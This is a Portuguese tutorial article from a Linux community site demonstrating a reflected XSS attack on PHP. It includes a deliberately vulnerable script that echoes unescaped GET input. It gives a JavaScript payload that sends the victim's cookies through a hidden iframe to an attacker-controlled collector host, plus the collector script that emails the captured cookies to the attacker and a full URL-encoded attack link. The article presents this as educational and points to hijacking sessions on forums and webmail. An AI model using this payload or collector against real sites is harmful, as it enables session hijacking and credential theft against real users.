Pular para o conteúdo

XSS - Um exemplo de ataque

Esse artigo tenta demonstrar aplicações de um ataque de XSS, uma técnica muito presente em nosso dia-a-dia.
Ragen Dazs Ragen
Hits: 43.230 Categoria: PHP Subcategoria: Segurança
  • Indicar
  • Impressora
  • Denunciar
O Viva o Linux depende da receita de anúncios para se manter. Ative os cookies aqui para nos patrocinar.
Não conseguimos carregar os anúncios. Se usa bloqueador, considere liberar o Viva o Linux para nos patrocinar.

XSS - Um exemplo de ataque

Vamos direto ao ponto. Um exemplo de código PHP vulnerável:

<?php
/*
 * Um simples exemplo de cookies que geralmente
 * são utilizados em sistemas web.
 * PHPSESSID -> SID padrão da configuração do PHP
 * login e senha -> cookies ficticios
 */
setcookie('PHPSSESID', 'meu_sid');
setcookie('login', 'meu_login');
setcookie('senha', 'minha_senha');

/**
 * Parte vulnerável do código: Imprime os dados passados
 * pelo usuário sem nenhum tratamento
 */
echo $_GET['var'];

?>

O nosso objetivo


Eis o JavaScript que iremos atravessar para nosso alvo através da variável $_GET['var'], do script PHP acima:

<script>
  document.write('<iframe width=1 height=1
src=http://www.coletor.com/rc.php?xss='+document.cookie.replace(/ /g,'')+'></iframe>')
</script>

Breve explicação meio longa


Nosso objetivo é atravessar o JavaScript citado acima mas, em outras palavras, explicando o JavaScript, nosso objetivo é simplesmente capturar os dados de cookie do www.alvo.com e enviar para o www.coletor.com.

Utilizando cookies em JavaScript


A instrução document.cookie retorna os cookies da página HTML. Ou seja, um código <script>alert(document.cookie)</script> no script PHP acima irá produzir o seguinte alerta de saída:

PHPSSESID=meu_sid; login=meu_login; senha=minha_senha

Complementando a instrução com "replace", document.cookie.replace(/ /g,''), iremos remover os caracteres em branco do alerta de saída citado acima. Ou seja, agora teremos:

PHPSSESID=meu_sid;login=meu_login;senha=minha_senha

O coletor de dados


Sob nosso domínio temos o site www.coletor.com, que por sua vez receberá os dados do cookie enviados pelo nosso script através do script rc.php que enviará os dados para meu@email.com:

O Viva o Linux depende da receita de anúncios para se manter. Ative os cookies aqui para nos patrocinar.
Não conseguimos carregar os anúncios. Se usa bloqueador, considere liberar o Viva o Linux para nos patrocinar.
<?php
if ($_GET['xss']) {
   mail('meu@email.com','Dados capturados', $_GET['xss']);
}
?>

Testando


Acesse a URL:

http://www.alvo.com/codigo_vulneravel.php?var=<script>document.write('<iframe%
20width=1%20height=1%20src=http://www.coletor.com/rc.php?xss='%2B
document.cookie.replace(/%20/g,'')%2B'></iframe>')</script>

Nota para tradução da URL:
  • %20: Caractere em branco
  • %2B: Sinal +

Se nenhum erro do interpretador do JavaScript for acusado em seu navegador, que geralmente é exibido no rodapé da página (ou alertas mais explícitos quando se possui depuradores de JavaScript), verifique o meu@email.com.

Possíveis utilizações


O impacto desse ataque é mais grave em sistemas interativos, como fóruns e webmails. Pois como mostrado, com os dados de cookie é possível capturar senhas de e-mail, de usuários e administradores do fórum vulnerável. Para aqueles que se interessaram por esse artigo recomendo a leitura sobre seqüestro de sessões e do artigo abaixo:
Gostaria de salientar que as informações aqui contidas são de caráter educativo. Não me responsabilizo por sua utilização, ou eventuais dados ao seu sistema ou de terceiros.

Considerações finais


O ambiente de testes desse artigo utiliza a configuração padrão do PHP.

O Viva o Linux depende da receita de anúncios para se manter. Ative os cookies aqui para nos patrocinar.
Não conseguimos carregar os anúncios. Se usa bloqueador, considere liberar o Viva o Linux para nos patrocinar.
   1. XSS - Um exemplo de ataque

Tratamento de dados fornecidos pelo usuário: projetando sistemas com mais segurança

Entendendo um pouco sobre os daemons

Projeto Icecream (parte 1)

Warcraft 3 - Eurobattle.net

Adaptação das empresas de TI aos trabalhadores da era digital

Dados sensíveis em arquivos com extensão .inc

Criptografia do método GET no PHP

Introdução a manipulação de erros em PHP

Autenticação de sites com PHP e MySQL

PHP: Programando com segurança

#1 Comentário enviado por vagnerd em 10/10/2006 - 15:38h
Muito interessante =D
Parabéns pelo artigo!
#2 Comentário enviado por balani em 11/10/2006 - 01:05h
Muito interessante e util

Contribuir com comentário

Entre na sua conta para comentar.